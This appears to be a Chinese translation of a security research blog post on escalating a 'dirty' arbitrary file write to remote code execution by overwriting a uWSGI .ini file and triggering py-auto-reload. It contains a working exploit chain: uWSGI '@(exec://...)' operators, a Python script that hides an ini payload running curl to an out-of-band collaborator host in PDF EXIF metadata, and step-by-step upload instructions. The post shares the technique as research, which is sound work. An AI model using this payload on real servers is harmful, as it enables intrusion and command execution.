从“脏”任意文件写入到RCE的新攻击向量

本文详细介绍了如何通过uWSGI配置文件的惰性解析和自动重载功能,将任意文件写入漏洞升级为远程代码执行,包括技术细节、利用步骤及实际案例。

任意文件写入(AFW)漏洞到远程代码执行(RCE)的新向量

在Web应用程序上传功能中,任意文件写入(AFW)漏洞可能是攻击者的强大工具,允许他们提升权限甚至实现服务器上的远程代码执行(RCE)。然而,实现这种升级的具体策略通常取决于攻击者面临的特定场景。在现实中,攻击者在尝试从AFW升级到RCE时可能遇到几种场景,这些可以泛化为:

  • 控制完整文件路径或仅文件名:攻击者能够控制上传文件的完整路径或名称,但不能控制其内容。根据目标目录的权限和目标应用程序,影响可能从拒绝服务到干扰应用程序逻辑以绕过潜在的安全敏感功能。
  • 仅控制文件内容:攻击者控制上传文件的内容,但不能控制文件路径。由于多种因素,影响可能差异很大。
  • 完全任意文件写入:攻击者控制以上两者。这通常导致使用各种方法实现RCE。

过去,在中等硬化环境(以非特权用户运行的应用程序)中,已使用多种策略通过AFW实现RCE:

  • 覆盖或添加将由应用程序服务器处理的文件:
    • 配置文件(如.htaccess、.config、web.config、httpd.conf、init.py和.xml)
    • 从应用程序根目录提供的源文件(如.php、.asp、.jsp文件)
    • 临时文件
    • 密钥或环境文件(如venv)
    • 序列化会话文件
  • 操纵procfs以执行任意代码
  • 覆盖或添加由操作系统或系统中其他守护进程使用或调用的文件:
    • Crontab例程
    • Bash脚本
    • .bashrc、.bash-profile和.profile
    • authorized_keys和authorized_keys2 - 以获取SSH访问
    • 滥用监控器的急切重载资产

需要注意的是,在Web应用程序中(如PHP、ASP或临时文件),只有极少数策略可用于部分控制文件内容的情况。具体方法取决于特定应用程序和服务器配置,因此理解受害者系统中存在的独特漏洞和攻击向量至关重要。

以下报告说明了一次实际参与中使用的不同漏洞链,以获得任意命令执行,从而发现了一种新方法。这在攻击者仅对注入文件内容有部分控制(“脏写入”)或对其内容执行服务器端转换时特别有用。

“脏”任意文件写入示例

在我们的场景中,应用程序有一个易受攻击的端点,通过该端点,攻击者能够执行路径遍历并通过PDF导出功能写入/删除文件。其相关函数负责:

  • 读取现有的PDF模板文件及其流
  • 合并PDF模板和攻击者提供的新内容
  • 将结果保存在攻击者命名的PDF文件中

攻击受到限制,因为它只能影响具有应用程序用户正确权限的文件,所有应用程序文件都是只读的。虽然攻击者已经可以使用该漏洞首先删除日志或文件数据库,但乍一看无法实现更高影响。通过查看目录,以下文件也可用:

drwxrwxr-x  6 root   root     4096 Nov 18 13:48 .
-rw-rw-r-- 1 webuser webuser 373 Nov 18 13:46 /app/console/uwsgi-sockets.ini

uWSGI配置文件的惰性解析

受害者的应用程序通过uWSGI应用程序服务器(v2.0.15)部署,该服务器前置基于Flask的应用程序,充当进程管理器和监视器。uWSGI可以使用几种不同的方法进行配置,支持通过简单的磁盘文件(.ini)加载配置文件。负责解析这些文件的uWSGI本机函数在core/ini.c:128中定义。配置文件最初完全读入内存并扫描以定位指示有效uWSGI配置开始的字符串(“[uwsgi]”):

while (len) {
	ini_line = ini_get_line(ini, len);
	if (ini_line == NULL) {
		break;
	}
	lines++;

	// skip empty line
	key = ini_lstrip(ini);
	ini_rstrip(key);
	if (key[0] != 0) {
		if (key[0] == '[') {
			section = key + 1;
			section[strlen(section) - 1] = 0;
		}
		else if (key[0] == ';' || key[0] == '#') {
			// this is a comment
		}
		else {
			// val is always valid, but (obviously) can be ignored
			val = ini_get_key(key);

			if (!strcmp(section, section_asked)) {
				got_section = 1;
				ini_rstrip(key);
				val = ini_lstrip(val);
				ini_rstrip(val);
				add_exported_option((char *) key, val, 0);
			}
		}
	}

	len -= (ini_line - ini);
	ini += (ini_line - ini);

}

更重要的是,uWSGI配置文件还可以包括“魔术”变量、占位符和具有精确语法定义的运算符。特别是’@‘运算符以@(filename)的形式用于包含文件内容。支持许多uWSGI方案,包括“exec” - 用于从进程的标准输出读取。当解析.ini配置文件时,这些运算符可以被武器化用于远程命令执行或任意文件写入/读取:

[uWSGI]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://0)
; read from http
test = @(http://doyensec.com/hello)
; read from a file descriptor
content = @(fd://3)
; read from a process stdout
body = @(exec://whoami)
; call a function returning a char *
characters = @(call://uwsgi_func)

uWSGI自动重载配置

虽然滥用上述.ini文件是一个很好的向量,但攻击者仍然需要一种重新加载它的方法(例如通过第二个DoS错误触发服务重启或等待服务器重启)。为了帮助解决这个问题,标准的uWSGI部署配置标志可以简化漏洞的利用。在某些情况下,uWSGI配置可以指定py-auto-reload开发选项,其中Python模块在用户确定的时间跨度内(在这种情况下为3秒)被监视,指定为参数。如果检测到更改,它将触发重载,例如:

[uwsgi]
home = /app
uid = webapp
gid = webapp
chdir = /app/console
socket = 127.0.0.1:8001
wsgi-file = /app/console/uwsgi-sockets.py
gevent = 500
logto = /var/log/uwsgi/%n.log
harakiri = 30
vacuum = True
py-auto-reload = 3
callable = app
pidfile = /var/run/uwsgi-sockets-console.pid
log-maxsize = 100000000
log-backupname = /var/log/uwsgi/uwsgi-sockets.log.bak

在这种情况下,直接将恶意Python代码写入PDF中无效,因为Python解释器在遇到PDF的二进制数据时会失败。另一方面,用任何数据覆盖.py文件将触发uWSGI配置文件重新加载。

组合利用

在我们的PDF导出场景中,我们必须制作一个多态、语法有效的PDF文件,其中包含我们有效的多行.ini配置文件。.ini负载必须在与PDF模板合并期间保持。我们能够将多行.ini负载嵌入PDF中包含的图像的EXIF元数据中。为了构建这个多语言文件,我们使用了以下脚本:

from fpdf import FPDF
from exiftool import ExifToolHelper

with ExifToolHelper() as et:
    et.set_tags(
        ["doyensec.jpg"],
        tags={"model": "
[uwsgi]
foo = @(exec://curl http://collaborator-unique-host.oastify.com)
"},
        params=["-E", "-overwrite_original"]
    )

class MyFPDF(FPDF):
    pass

pdf = MyFPDF()

pdf.add_page()
pdf.image('./doyensec.jpg')
pdf.output('payload.pdf', 'F')

此元数据将成为写入服务器上的文件的一部分。在我们的利用中,uWSGI的急切加载选择了新配置并执行了我们的curl负载。可以使用以下命令在本地测试负载:

uwsgi --ini payload.pdf

让我们在Web服务器上利用以下步骤:

  • 将payload.pdf上传到/app/console/uwsgi-sockets.ini
  • 等待服务器重启或通过覆盖任何.py强制uWSGI重载
  • 验证curl在Burp collaborator上进行的回调

结论

如本文所述,我们介绍了一种新的基于uWSGI的技术。它补充了攻击者在各种场景中已经使用的策略,以从Web应用程序上传中的任意文件写入(AFW)漏洞升级到远程代码执行(RCE)。这些技术随着服务器技术的不断发展,未来肯定会有新方法普及。这就是为什么与研究社区共享已知的升级向量很重要。我们鼓励研究人员继续共享关于已知向量的信息,并继续搜索新的、不太流行的向量。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计